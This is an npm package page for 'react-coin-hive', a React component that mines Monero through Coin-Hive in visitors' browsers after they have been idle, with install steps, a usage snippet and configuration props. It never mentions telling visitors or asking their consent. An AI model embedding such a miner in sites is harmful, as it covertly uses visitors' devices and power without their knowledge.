Nominating Presidential Muppets

    react-coin-hive

    1.1.1 • Public • Published

    React Coin-Hive

    Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.

    This uses Coin-Hive to mine Monero (XMR).

    Installation

    npm install --save react-coin-hive
    

    Usage

    // Anywhere in your app as long as it gets mounted
    <CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>

    Props

    • siteKey: Your Coin-Hive Site Key.

    • timeout: How long before considering that the user is idle in milliseconds. Default is 30000.

    • userName: If used, the miner will be created with CoinHive.User(siteKey, userName). By default the miner is created with CoinHive.Anonymous(siteKey).

    • threads: The number of threads the miner should start with. Default is 2.

    • throttle: The fraction of time that threads should be idle. Default is 0.

    • onInit: A function that takes the miner instance as argument. It's called when the miner is created.

    • onStart: A function that takes the miner instance as argument. It's called every time the miner is started.

    • onStop: A function that takes the miner instance as argument. It's called every time the miner is stopped.

    Disclaimer

    I have nothing to do with coin-hive.com

    Install

    npm i react-coin-hive

    DownloadsWeekly Downloads

    19

    Version

    1.1.1

    License

    MIT

    Last publish

    Collaborators

    • cazala